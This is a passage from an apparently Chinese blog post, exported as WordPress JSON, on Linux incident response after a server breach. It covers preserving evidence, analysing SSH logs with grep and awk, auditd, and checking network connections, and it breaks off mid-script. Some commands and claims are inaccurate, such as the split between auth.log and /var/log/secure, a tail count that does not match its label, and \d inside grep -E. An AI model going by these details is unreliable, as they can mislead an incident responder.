{"id":117079,"date":"2026-10-22T14:17:05","date_gmt":"2026-10-22T06:17:05","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/117079.html"},"modified":"2026-10-22T14:17:05","modified_gmt":"2026-10-22T06:17:05","slug":"%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e5%85%a5%e4%be%b5%e5%90%8e%e4%b8%8d%e8%a6%81%e6%80%a5%e7%9d%80%e9%87%8d%e8%a3%85%ef%bc%81linux%e5%ba%94%e6%80%a5%e5%93%8d%e5%ba%94%e4%bb%8e%e6%97%a5%e5%bf%97","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/117079.html","title":{"rendered":"\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e\u4e0d\u8981\u6025\u7740\u91cd\u88c5\uff01Linux\u5e94\u6025\u54cd\u5e94\u4ece\u65e5\u5fd7\u5206\u6790\u5230\u6eaf\u6e90\u5b8c\u6574\u5b9e\u6218"},"content":{"rendered":"<p>        \/* MD \/ \u5bcc\u6587\u672c\u4e2d\u7684 .toc\uff08\u542b\u535a\u5ba2\u56ed\u642c\u5bb6\u7b49\u5d4c\u5957\u7ed3\u6784\uff09\uff1b.toc-box \u5728\u4fa7\u680f\uff0c\u4e0d\u53d7\u5f71\u54cd *\/<br \/>\n        #content_views .toc,<br \/>\n        \/* \u7f16\u8f91\u5668\u5e38\u5728\u76ee\u5f55\u524d\u540e\u63d2\u5165\u7a7a p\uff08:empty \u4ecd\u5360 20px\uff09\uff0c\u4e00\u5e76\u53bb\u6389\u907f\u514d\u9876\u7a7a\u9699 *\/<br \/>\n        #content_views.markdown_views &gt; p:empty:has(+ .toc),<br \/>\n        #content_views.markdown_views &gt; .toc + p:empty,<br \/>\n        \/* \u5bcc\u6587\u672c\u65e7\u7248\u76ee\u5f55\u6807\u8bb0 *\/<br \/>\n        #content_views.htmledit_views #main-toc,<br \/>\n        #content_views.htmledit_views #hr-toc,<br \/>\n        #content_views.htmledit_views p[id*=\\&#8221;-toc\\&#8221;] {<br \/>\n          display: none !important;<br \/>\n        }<br \/>\n        \/* \u76ee\u5f55\u53bb\u6389\u540e\uff0c\u7d27\u8ddf\u7684\u9996\u4e2a\u6807\u9898\u4e0d\u518d\u591a\u51fa\u4e00\u5757\u4e0a\u8fb9\u8ddd *\/<br \/>\n        #content_views.markdown_views &gt; .toc + h1,<br \/>\n        #content_views.markdown_views &gt; .toc + h2,<br \/>\n        #content_views.markdown_views &gt; .toc + h3,<br \/>\n        #content_views.markdown_views &gt; .toc + h4,<br \/>\n        #content_views.markdown_views &gt; .toc + p:empty + h1,<br \/>\n        #content_views.markdown_views &gt; .toc + p:empty + h2,<br \/>\n        #content_views.markdown_views &gt; .toc + p:empty + h3,<br \/>\n        #content_views.markdown_views &gt; .toc + p:empty + h4 {<br \/>\n          margin-top: 0 !important;<br \/>\n        }<\/p>\n<p>\u5728\u6570\u5b57\u5316\u65f6\u4ee3&#xff0c;\u670d\u52a1\u5668\u5df2\u6210\u4e3a\u4f01\u4e1a\u548c\u7ec4\u7ec7\u7684\u6838\u5fc3\u57fa\u7840\u8bbe\u65bd&#xff0c;\u4e00\u65e6\u906d\u9047\u5165\u4fb5&#xff0c;\u540e\u679c\u53ef\u80fd\u81f4\u547d\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261022061700-6ad9aa5cf32f5.jpg\" alt=\"\u8bf7\u6dfb\u52a0\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6570\u636e\u6cc4\u9732\u3001\u4e1a\u52a1\u4e2d\u65ad\u3001\u6cd5\u5f8b\u8d23\u4efb\u751a\u81f3\u54c1\u724c\u5f62\u8c61\u5d29\u584c\u3002\u7136\u800c&#xff0c;\u8bb8\u591a\u7ba1\u7406\u5458\u5728\u53d1\u73b0\u53ef\u7591\u8ff9\u8c61\u540e&#xff0c;\u9996\u9009\u65b9\u6848\u5f80\u5f80\u662f\u201c\u91cd\u88c5\u7cfb\u7edf\u201d&#xff0c;\u8fd9\u4e00\u505a\u6cd5\u770b\u4f3c\u5feb\u901f&#xff0c;\u4f46\u5b9e\u5219\u5145\u6ee1\u98ce\u9669\u3002\u91cd\u88c5\u4e0d\u4ec5\u53ef\u80fd\u5bfc\u81f4\u5173\u952e\u8bc1\u636e\u4e22\u5931&#xff0c;\u96be\u4ee5\u8ffd\u6eaf\u5165\u4fb5\u6e90\u5934&#xff0c;\u8fd8\u53ef\u80fd\u5c06\u672a\u53d1\u73b0\u7684\u540e\u95e8\u6216\u540e\u95e8\u690d\u5165\u65b0\u7cfb\u7edf\u3002\u771f\u6b63\u7684Linux\u5e94\u6025\u54cd\u5e94\u5e94\u9075\u5faa\u201c\u5148\u53d6\u8bc1\u3001\u540e\u5904\u7f6e\u3001\u6700\u540e\u6062\u590d\u201d\u7684\u539f\u5219&#xff0c;\u672c\u6587\u5c06\u4ece\u65e5\u5fd7\u5206\u6790\u5165\u624b&#xff0c;\u9010\u6b65\u8bb2\u89e3\u6eaf\u6e90\u5168\u6d41\u7a0b&#xff0c;\u7ed3\u5408\u5b9e\u6218\u6848\u4f8b\u4e0eShell\/Python\u4ee3\u7801\u793a\u4f8b&#xff0c;\u5e2e\u52a9\u5b89\u5168\u4ece\u4e1a\u8005\u638c\u63e1\u5b8c\u6574\u5e94\u6025\u54cd\u5e94\u6d41\u7a0b\u3002<\/p>\n<h3>\u5f15\u8a00&#xff1a;\u5165\u4fb5\u540e\u7684\u76f2\u76ee\u91cd\u88c5\u98ce\u9669<\/h3>\n<p>\u670d\u52a1\u5668\u5165\u4fb5\u901a\u5e38\u6e90\u4e8e\u591a\u79cd\u6e20\u9053&#xff1a;\u5f31\u5bc6\u7801\u7834\u89e3\u30010-day\u6f0f\u6d1e\u5229\u7528\u3001\u4f9b\u5e94\u94fe\u653b\u51fb\u6216\u5185\u90e8\u4eba\u5458\u8bef\u64cd\u4f5c\u3002\u5e38\u89c1\u75db\u70b9\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\u8bc1\u636e\u94fe\u4e2d\u65ad&#xff1a;\u5165\u4fb5\u8005\u5e38\u6e05\u7406\u65e5\u5fd7\u3001\u7be1\u6539\u6587\u4ef6\u5143\u6570\u636e&#xff0c;\u91cd\u88c5\u7cfb\u7edf\u65f6&#xff0c;\u5ba1\u8ba1\u8bb0\u5f55\u88ab\u6e05\u7a7a&#xff0c;\u8c03\u67e5\u4eba\u5458\u65e0\u6cd5\u83b7\u53d6\u5b8c\u6574\u65f6\u5e8f\u8bc1\u636e\u3002<\/li>\n<li>\u6570\u636e\u635f\u5931\u98ce\u9669&#xff1a;\u751f\u4ea7\u73af\u5883\u4e0d\u8fdb\u884c\u5f7b\u5e95\u5907\u4efd\u6216\u5feb\u7167\u4fdd\u62a4&#xff0c;\u91cd\u88c5\u53ef\u80fd\u5bfc\u81f4\u6570\u5c0f\u65f6\u751a\u81f3\u6570\u5929\u6570\u636e\u4e22\u5931\u3002<\/li>\n<li>\u6cd5\u5f8b\u4e0e\u5408\u89c4\u9690\u60a3&#xff1a;GDPR\u3001HIPAA\u7b49\u6cd5\u89c4\u8981\u6c42\u53ef\u5ba1\u8ba1\u6027&#xff0c;\u91cd\u88c5\u540e\u7684\u7cfb\u7edf\u65e0\u6cd5\u8bc1\u660e\u201c\u5165\u4fb5\u8005\u5df2\u88ab\u6e05\u9664\u201d\u3002<\/li>\n<li>\u5fc3\u7406\u4e0e\u8d44\u6e90\u538b\u529b&#xff1a;IT\u56e2\u961f\u5728\u9ad8\u538b\u4e0b\u5306\u5fd9\u91cd\u88c5&#xff0c;\u6613\u9057\u6f0f\u5173\u952e\u7ec4\u4ef6&#xff0c;\u5bfc\u81f4\u540e\u7eed\u53cd\u590d\u5165\u4fb5\u3002<\/li>\n<\/ul>\n<p>\u76f8\u6bd4\u4e4b\u4e0b&#xff0c;\u5148\u8fdb\u884c\u65e5\u5fd7\u5206\u6790\u3001\u5185\u5b58\u53d6\u8bc1\u548c\u7f51\u7edc\u9694\u79bb&#xff0c;\u53ef\u7cbe\u51c6\u5b9a\u4f4d\u5165\u4fb5\u70b9&#xff0c;\u51cf\u5c11\u91cd\u88c5\u6b21\u6570\u3002\u5c24\u5176\u5728Linux\u73af\u5883\u4e2d&#xff0c;\u7cfb\u7edf\u65e5\u5fd7\u5929\u7136\u5177\u6709\u65f6\u5e8f\u6027&#xff0c;\u7ed3\u5408\u5de5\u5177\u5982auditd\u3001rsyslog&#xff0c;\u53ef\u6784\u5efa\u53ef\u9760\u6eaf\u6e90\u94fe\u8def\u3002\u672c\u6587\u6838\u5fc3\u5728\u4e8e\u5f3a\u8c03\u201c\u4e0d\u8981\u6025\u7740\u91cd\u88c5\u201d&#xff0c;\u800c\u662f\u901a\u8fc7\u79d1\u5b66\u65b9\u6cd5\u4ece\u65e5\u5fd7\u4e2d\u63d0\u53d6\u8bc1\u636e&#xff0c;\u5b8c\u6210\u7aef\u5230\u7aef\u6eaf\u6e90&#xff0c;\u6700\u7ec8\u5b9e\u73b0\u5b89\u5168\u6062\u590d\u3002<\/p>\n<h4>\u4e3a\u4ec0\u4e48\u91cd\u88c5\u662f\u6700\u540e\u624b\u6bb5<\/h4>\n<p>\u91cd\u88c5\u7cfb\u7edf\u786e\u5b9e\u80fd\u5feb\u901f\u6062\u590d\u73af\u5883&#xff0c;\u4f46\u5b83\u4f1a\u7834\u574f\u6574\u4e2a\u5165\u4fb5\u4e8b\u4ef6\u7684\u65f6\u95f4\u7ebf\u548c\u8bc1\u636e\u94fe\u6761\u3002\u60f3\u8c61\u4e00\u4e0b&#xff1a;\u5165\u4fb5\u8005\u901a\u8fc7SSH\u66b4\u529b\u7834\u89e3\u8fdb\u5165\u670d\u52a1\u5668\u540e&#xff0c;\u53ef\u80fd\u5df2\u7ecf\u4fee\u6539\u4e86\u5173\u952e\u914d\u7f6e\u6587\u4ef6&#xff08;\u5982\/etc\/ssh\/sshd_config&#xff09;\u3001\u690d\u5165\u540e\u95e8\u811a\u672c\u6216\u9690\u85cf\u654f\u611f\u6587\u4ef6\u3002\u5f53\u4f60\u76f4\u63a5reinstall\u65f6&#xff0c;\u7cfb\u7edf\u4f1a\u56de\u5230\u5e72\u51c0\u72b6\u6001&#xff0c;\u6240\u6709\u8fd9\u4e9b\u75d5\u8ff9\u77ac\u95f4\u6d88\u5931&#xff0c;\u4e8b\u540e\u5ba1\u8ba1\u53d8\u5f97\u4e0d\u53ef\u80fd\u3002\u76f8\u53cd&#xff0c;\u5148\u901a\u8fc7\u65e5\u5fd7\u5206\u6790\u53ef\u4ee5\u6784\u5efa\u4e00\u4e2a\u5b8c\u6574\u7684\u201c\u5165\u4fb5\u5730\u56fe\u201d&#xff0c;\u4ece\u521d\u59cb\u767b\u5f55\u5230\u6a2a\u5411\u79fb\u52a8\u518d\u5230\u6570\u636e\u7a83\u53d6&#xff0c;\u6bcf\u4e00\u6b65\u90fd\u53ef\u8ffd\u8e2a\u3002<\/p>\n<p>\u5728\u5b9e\u9645\u4f01\u4e1a\u73af\u5883\u4e2d&#xff0c;\u5047\u8bbe\u4e00\u5bb6\u91d1\u878d\u516c\u53f8\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u540e&#xff0c;\u7ba1\u7406\u5458\u7acb\u5373\u91cd\u88c5&#xff0c;\u5374\u5ffd\u7565\u4e86\u5907\u4efd\u5bfc\u81f4\u540e\u7eed\u4e1a\u52a1\u6062\u590d\u82b1\u4e863\u5929\u65f6\u95f4\u3002\u8fd9\u4e0d\u4ec5\u5ef6\u8bef\u4e86\u8fd0\u8425&#xff0c;\u8fd8\u66b4\u9732\u4e86\u5408\u89c4\u98ce\u9669&#xff08;GDPR\u8981\u6c42\u201c\u6709\u6743\u88ab\u9057\u5fd8\u201d\u4f46\u4e5f\u8981\u6c42\u4fdd\u7559\u6eaf\u6e90\u8bb0\u5f55&#xff09;\u3002\u56e0\u6b64&#xff0c;\u5e94\u6025\u54cd\u5e94\u7b2c\u4e00\u6b65\u662f\u53d6\u8bc1\u4f18\u5148&#xff1a;\u5c06\u670d\u52a1\u5668\u4e0e\u7f51\u7edc\u9694\u79bb&#xff08;ip link set dev eth0 down&#xff09;&#xff0c;\u7136\u540e\u5bfc\u51fa\u65e5\u5fd7\u5230\u79bb\u7ebf\u5b58\u50a8\u4ecb\u8d28&#xff0c;\u786e\u4fdd\u4e0d\u53ef\u7be1\u6539\u3002<\/p>\n<h4>\u5e38\u89c1\u5165\u4fb5\u573a\u666f\u4e0e\u9884\u9632\u601d\u8003<\/h4>\n<p>Linux\u5165\u4fb5\u5e38\u89c1\u573a\u666f\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\u5bc6\u7801\u653b\u51fb&#xff1a;\u5f31\u53e3\u4ee4\u88ab\u7206\u7834&#xff0c;\u653b\u51fb\u8005\u4f7f\u7528\u5de5\u5177\u5982Hydra\u626b\u63cf\u5e38\u89c1\u5b57\u5178\u3002<\/li>\n<li>\u6f0f\u6d1e\u5229\u7528&#xff1a;Web\u670d\u52a1\u5982Apache\u6216OpenSSH\u5b58\u5728\u672a\u8865\u4e01\u6f0f\u6d1e\u3002<\/li>\n<li>\u4f9b\u5e94\u94fe\u5a01\u80c1&#xff1a;\u901a\u8fc7\u6076\u610f\u66f4\u65b0\u5305\u6216Git\u63d0\u4ea4\u6ce8\u5165\u540e\u95e8\u3002<\/li>\n<li>\u5185\u90e8\u5a01\u80c1&#xff1a;\u5458\u5de5\u8bef\u64cd\u4f5c\u6216\u6709\u610f\u7834\u574f\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u4e9b\u573a\u666f\u5728\u65e5\u5fd7\u4e2d\u90fd\u6709\u75d5\u8ff9\u3002\u4f8b\u5982&#xff0c;SSH\u767b\u5f55\u5931\u8d25\u4f1a\u8bb0\u5f55\u5728\/var\/log\/auth.log&#xff0c;\u800c\u6210\u529f\u7684\u8ba4\u8bc1\u4f1a\u5728\/var\/log\/secure\u4e2d\u4f53\u73b0\u3002\u7406\u89e3\u8fd9\u4e9b\u65e5\u5fd7\u683c\u5f0f\u7684\u5e95\u5c42\u539f\u7406&#xff1a;Linux\u4f7f\u7528syslog\u534f\u8bae\u5c06\u4e8b\u4ef6\u5199\u5165ring buffer\u6216\u6587\u4ef6\u7cfb\u7edf&#xff0c;rsyslog\u6216journald\u5b88\u62a4\u8fdb\u7a0b\u5b9a\u671f\u5237\u65b0\u5230\u78c1\u76d8\u3002\u8fd9\u4f7f\u5f97\u65e5\u5fd7\u5929\u7136\u6301\u4e45\u4e14\u53ef\u5206\u6790\u3002\u5b89\u5168\u4ece\u4e1a\u8005\u5e94\u8bb0\u4f4f&#xff1a;\u65e5\u5fd7\u4e0d\u662f\u7b80\u5355\u7684\u6587\u672c&#xff0c;\u800c\u662f\u7ed3\u6784\u5316\u8bc1\u636e&#xff0c;\u9700\u8981\u4e13\u4e1a\u5de5\u5177\u89e3\u6790\u3002<\/p>\n<h3>Linux\u65e5\u5fd7\u5206\u6790\u57fa\u7840<\/h3>\n<p>Linux\u670d\u52a1\u5668\u65e5\u5fd7\u662f\u5e94\u6025\u54cd\u5e94\u7684\u7b2c\u4e00\u624b\u8bc1\u636e\u6765\u6e90\u3002\u4e3b\u8981\u65e5\u5fd7\u8def\u5f84\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\/var\/log\/auth.log&#xff1a;\u7528\u6237\u8ba4\u8bc1\u8bb0\u5f55&#xff0c;\u8bb0\u5f55SSH\u3001su\u3001sudo\u7b49\u64cd\u4f5c\u3002<\/li>\n<li>\/var\/log\/syslog&#xff1a;\u7cfb\u7edf\u670d\u52a1\u65e5\u5fd7&#xff0c;\u5305\u62eccron\u3001\u5185\u6838\u4e8b\u4ef6\u3002<\/li>\n<li>\/var\/log\/messages&#xff1a;\u5386\u53f2\u517c\u5bb9\u65e5\u5fd7&#xff0c;\u5e38\u5728RHEL\/CentOS\u4e2d\u3002<\/li>\n<li>\/var\/log\/secure&#xff1a;SSH\u4e13\u7528\u65e5\u5fd7\u3002<\/li>\n<li>journalctl\u7ba1\u7406\u7684systemd\u65e5\u5fd7&#xff1a;\u73b0\u4ee3\u7cfb\u7edf\u9ed8\u8ba4&#xff0c;\u4f7f\u7528journalctl -x\u67e5\u770b\u5185\u6838\u6808\u8ffd\u8e2a\u3002<\/li>\n<\/ul>\n<p>\u5206\u6790\u6838\u5fc3\u5de5\u5177&#xff1a;<\/p>\n<ul>\n<li>grep&#xff1a;\u6a21\u5f0f\u5339\u914d\u641c\u7d22\u3002<\/li>\n<li>awk&#xff1a;\u5b57\u6bb5\u63d0\u53d6\u4e0e\u683c\u5f0f\u5316\u3002<\/li>\n<li>sort\u3001uniq&#xff1a;\u65f6\u95f4\u6392\u5e8f\u4e0e\u53bb\u91cd\u3002<\/li>\n<li>awk\u6216Python&#xff1a;\u590d\u6742\u65f6\u95f4\u6233\u89e3\u6790\u3002<\/li>\n<\/ul>\n<p>\u5b9e\u6218\u6848\u4f8b&#xff1a;\u5047\u8bbe\u670d\u52a1\u5668\u76d1\u6d4b\u5230\u53ef\u7591SSH\u767b\u5f55&#xff0c;\u9700\u5feb\u901f\u5b9a\u4f4d\u3002<\/p>\n<p>Shell\u4ee3\u7801\u793a\u4f8b1&#xff08;\u5206\u6790\u8ba4\u8bc1\u5931\u8d25\u65e5\u5fd7&#xff0c;\u8bc6\u522b\u66b4\u529b\u7834\u89e3\u5c1d\u8bd5&#xff09;&#xff1a;<\/p>\n<p><span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token comment\"># auth_log_analyzer.sh &#8211; \u63d0\u53d6\u8ba4\u8bc1\u5931\u8d25\u5e76\u6392\u5e8f<\/span><br \/>\n<span class=\"token comment\"># \u7528\u9014&#xff1a;\u672c\u811a\u672c\u65e8\u5728\u5feb\u901f\u8bc6\u522bSSH\u66b4\u529b\u7834\u89e3\u653b\u51fb\u8005&#xff0c;\u63d0\u53d6Failed password\u65e5\u5fd7\u4e2d\u7684IP\u5730\u5740&#xff0c;<\/span><br \/>\n<span class=\"token comment\"># \u5e76\u6309\u9891\u7387\u964d\u5e8f\u6392\u5e8f\u8f93\u51fa\u3002\u6ce8\u610f&#xff1a;\u8bf7\u786e\u4fddLOGFILE\u8def\u5f84\u6b63\u786e&#xff0c;\u4e14\u811a\u672c\u5728\u5177\u6709\u8bfb\u6743\u9650\u7684\u73af\u5883\u8fd0\u884c\u3002<\/span><br \/>\n<span class=\"token comment\"># \u539f\u7406&#xff1a;grep -i \u8fdb\u884c\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u7684\u6a21\u5f0f\u5339\u914d&#xff08;&#039;Failed password&#039;\u5e38\u89c1\u4e8esshd\u65e5\u5fd7&#xff09;&#xff0c;<\/span><br \/>\n<span class=\"token comment\"># awk &#039;{print $11}&#039; \u5047\u8bbeIP\u662f\u7b2c11\u4e2a\u5b57\u6bb5&#xff08;\u7a7a\u683c\u5206\u9694&#xff09;&#xff0c;\u90e8\u5206\u7cfb\u7edf\u53ef\u80fd\u56e0\u683c\u5f0f\u7565\u6709\u5dee\u5f02\u9700\u8c03\u6574\u5b57\u6bb5\u4f4d\u7f6e\u3002<\/span><br \/>\n<span class=\"token comment\"># sort | uniq -c \u7edf\u8ba1\u8bcd\u9891\u5e76\u6392\u5e8f&#xff0c;-nr\u8868\u793a\u964d\u5e8f\u3002<\/span><br \/>\n<span class=\"token comment\"># \u989d\u5916\u4f18\u5316&#xff1a;\u53ef\u901a\u8fc7grep -v &#039;sshd&#039;\u8fc7\u6ee4\u7279\u5b9aIP\u6216\u7ed3\u5408date\u547d\u4ee4\u8fc7\u6ee4\u6700\u8fd1N\u5c0f\u65f6\u6570\u636e\u3002<\/span><br \/>\n<span class=\"token comment\"># \u8e29\u5751&#xff1a;\u67d0\u4e9b\u7cfb\u7edf&#xff08;\u5982Ubuntu 20.04&#043;&#xff09;\u65e5\u5fd7\u683c\u5f0f\u53ef\u80fd\u5305\u542bPID\u6216\u6a21\u5757\u4fe1\u606f&#xff0c;awk\u5b57\u6bb5\u7d22\u5f15\u9700\u9a8c\u8bc1\u3002<\/span><br \/>\n<span class=\"token comment\"># \u5e38\u89c1\u95ee\u9898FAQ&#xff1a;\u5982\u679c\u65e5\u5fd7\u4e2dIP\u4f4d\u7f6e\u4e0d\u56fa\u5b9a&#xff1f;\u4f7f\u7528cut -d &#039; &#039; -f11 \u6216\u6b63\u5219\u8868\u8fbe\u5f0f\u6355\u83b7\u3002<\/span><br \/>\n<span class=\"token assign-left variable\">LOGFILE<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;\/var\/log\/auth.log&#034;<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u8ba4\u8bc1\u5931\u8d25IP\u805a\u5408 &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-i<\/span> <span class=\"token string\">&#034;Failed password&#034;<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$LOGFILE<\/span>&#034;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;{print $11}&#039;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">sort<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">uniq<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">sort<\/span> <span class=\"token parameter variable\">-nr<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token parameter variable\">-e<\/span> <span class=\"token string\">&#034;<span class=\"token entity\" title=\"\\\\n\">\\\\n<\/span>&#061;&#061;&#061; \u6700\u8fd110\u6761\u53ef\u7591SSH\u767b\u5f55 &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">tail<\/span> <span class=\"token parameter variable\">-n<\/span> <span class=\"token number\">20<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$LOGFILE<\/span>&#034;<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#034;Accepted|Failed|sshd&#034;<\/span><\/p>\n<p>\u89e3\u91ca&#xff1a;\u6b64\u811a\u672c\u4f7f\u7528grep\u5b9a\u4f4d\u201cFailed password\u201d\u5b57\u7b26\u4e32&#xff0c;awk\u63d0\u53d6IP&#xff08;\u7b2c11\u4e2a\u5b57\u6bb5&#xff09;&#xff0c;sort | uniq -c\u7edf\u8ba1\u9891\u7387\u5e76\u6309\u964d\u5e8f\u6392\u5217\u3002\u8f93\u51fa\u793a\u4f8b\u53ef\u80fd\u4e3a&#xff1a;<\/p>\n<p>      87 192.168.10.45<br \/>\n      12 10.0.0.5<\/p>\n<p>\u663e\u793a\u5b58\u5728\u66b4\u529b\u7834\u89e3\u653b\u51fb\u8005\u3002\u8fd0\u884c\u540e\u7acb\u5373\u9694\u79bb\u5bf9\u5e94IP&#xff08;iptables -I INPUT -s 192.168.10.45 -j DROP&#xff09;&#xff0c;\u907f\u514d\u8fdb\u4e00\u6b65\u6e17\u900f\u3002<\/p>\n<h4>\u6df1\u5165\u65e5\u5fd7\u683c\u5f0f\u539f\u7406<\/h4>\n<p>\/var\/log\/auth.log\u7531rsyslog\u6216syslog-ng\u5199\u5165&#xff0c;\u5176\u683c\u5f0f\u901a\u5e38\u4e3aMMM DD HH:MM:SS hostname process[PID]: message&#xff0c;\u5982Feb  5 14:32:10 server sshd[12345]: Accepted password for root from 192.168.1.100 port 22 ssh2\u3002\u65f6\u95f4\u6233\u91c7\u7528%b %d %H:%M:%S&#xff0c;\u53ef\u901a\u8fc7date -d\u89e3\u6790\u4e3aUnix\u65f6\u95f4\u6233\u8fdb\u884c\u7cbe\u786e\u6bd4\u5bf9\u3002\u73b0\u4ee3systemd\u4f7f\u7528\/var\/log\/journal\u5b58\u50a8\u4e8c\u8fdb\u5236\u65e5\u5fd7&#xff0c;\u4f7f\u7528journalctl\u5bfc\u51fa\u4e3a\u6587\u672c\u3002\u6700\u4f73\u5b9e\u8df5\u662f\u542f\u7528auditd\u5168\u91cf\u5ba1\u8ba1&#xff1a;sudo auditctl -a exit,always -F arch&#061;b64 -S execve -k audit_system&#xff0c;\u8bb0\u5f55\u6240\u6709execve\u7cfb\u7edf\u8c03\u7528&#xff0c;\u4e3a\u540e\u7eed\u884c\u4e3a\u5206\u6790\u63d0\u4f9b\u57fa\u7840\u3002<\/p>\n<p>\u6269\u5c55\u5b9e\u6218\u6848\u4f8b&#xff1a;\u67d0\u7535\u5546\u5e73\u53f0\u65e5\u5fd7\u663e\u793aFailed password for admin from 203.0.113.5&#xff0c;\u7ed3\u5408grep -E &#034;sshd|Failed password&#034; \/var\/log\/auth.log | awk &#039;{print $11}&#039; | sort | uniq -c | sort -nr\u53d1\u73b0\u8be5IP\u670987\u6b21\u5c1d\u8bd5\u3002\u8fdb\u4e00\u6b65\u7528grep &#039;Accepted&#039; \/var\/log\/secure\u786e\u8ba4\u6210\u529f\u767b\u5f55\u3002\u95ee\u9898&#xff1a;\u65e5\u5fd7\u53ef\u80fd\u88ab\u5165\u4fb5\u8005\u63d0\u524d\u4fee\u6539&#xff1f;\u89e3\u51b3\u65b9\u6cd5\u662f\u5728\u53d1\u73b0\u5165\u4fb5\u521d\u671f\u5c31scp \/var\/log\/auth.log remote_backup_server&#xff0c;\u4f7f\u7528chattr &#043;i\u4f7f\u6587\u4ef6\u53ea\u8bfb\u4ee5\u9632\u6b62\u7be1\u6539\u3002<\/p>\n<p>\u8e29\u5751\u4e0e\u4f18\u5316&#xff1a;<\/p>\n<ul>\n<li>\u5e38\u89c1\u95ee\u9898&#xff1a;awk\u5b57\u6bb5\u7d22\u5f15\u4e0d\u7a33&#xff08;\u5982\u67d0\u4e9b\u65e5\u5fd7\u591a\u7a7a\u683c&#xff09;\u3002\u89e3\u51b3\u65b9\u6848&#xff1a;\u4f7f\u7528\u6b63\u5219 grep -oE &#039;\\\\d&#043;\\\\.\\\\d&#043;\\\\.\\\\d&#043;\\\\.\\\\d&#043;&#039; \u63d0\u53d6IP\u3002<\/li>\n<li>\u4f18\u5316&#xff1a;\u7ed3\u5408awk &#039;{if($1~\/^Feb\/) print $0}&#039;\u4ec5\u5904\u7406\u5f53\u524d\u6708\u4efd&#xff0c;\u907f\u514d\u5386\u53f2\u6c61\u67d3\u3002<\/li>\n<li>\u539f\u7406&#xff1a;\u65e5\u5fd7\u5206\u6790\u672c\u8d28\u4e0a\u662f\u6a21\u5f0f\u8bc6\u522b&#xff0c;\u901a\u8fc7\u7edf\u8ba1\u5f02\u5e38\u6a21\u5f0f&#xff08;\u5982\u9ad8\u9891\u5931\u8d25&#xff09;\u5b9a\u4f4d\u653b\u51fb\u8005&#xff0c;\u800c\u975e\u4f9d\u8d56\u4eba\u5de5\u9010\u6761\u67e5\u770b\u3002<\/li>\n<\/ul>\n<h3>\u7f51\u7edc\u8fde\u63a5\u4e0e\u7aef\u53e3\u5206\u6790<\/h3>\n<p>\u5165\u4fb5\u5e38\u4f34\u968f\u9690\u853d\u540e\u95e8&#xff0c;\u5982\u53cd\u5411Shell\u6216\u5b9a\u65f6CNC\u901a\u4fe1\u3002\u9700\u5206\u6790\u6d3b\u8dc3\u8fde\u63a5\u3001\u76d1\u542c\u7aef\u53e3\u548c\u8fdb\u7a0b\u6253\u5f00\u6587\u4ef6\u3002<\/p>\n<p>\u5173\u952e\u547d\u4ee4&#xff1a;<\/p>\n<ul>\n<li>ss -tuln&#xff1a;\u663e\u793a\u6240\u6709TCP\/UDP\u76d1\u542c\u4e0e\u8fde\u63a5\u72b6\u6001\u3002<\/li>\n<li>netstat -anp&#xff1a;\u8be6\u7ec6\u7aef\u53e3-\u8fdb\u7a0b\u6620\u5c04\u3002<\/li>\n<li>lsof&#xff1a;\u5217\u51fa\u8fdb\u7a0b\u6253\u5f00\u7684\u6587\u4ef6\u4e0e\u7f51\u7edc\u5957\u63a5\u5b57\u3002<\/li>\n<\/ul>\n<p>Python\u4ee3\u7801\u793a\u4f8b2&#xff08;\u7f51\u7edc\u8fde\u63a5\u53d6\u8bc1\u811a\u672c&#xff0c;\u89e3\u6790ss\u547d\u4ee4\u8f93\u51fa\u5e76\u6309\u72b6\u6001\u5206\u7ec4&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\">#!\/usr\/bin\/env python3<\/span><br \/>\n<span class=\"token keyword\">import<\/span> subprocess<br \/>\n<span class=\"token keyword\">import<\/span> re<br \/>\n<span class=\"token keyword\">import<\/span> collections<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">parse_ss_output<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token keyword\">try<\/span><span class=\"token punctuation\">:<\/span><br \/>\n        output <span class=\"token operator\">&#061;<\/span> subprocess<span class=\"token punctuation\">.<\/span>check_output<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string\">&#039;ss&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;-tuln&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>decode<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">except<\/span> subprocess<span class=\"token punctuation\">.<\/span>CalledProcessError<span class=\"token punctuation\">:<\/span><br \/>\n 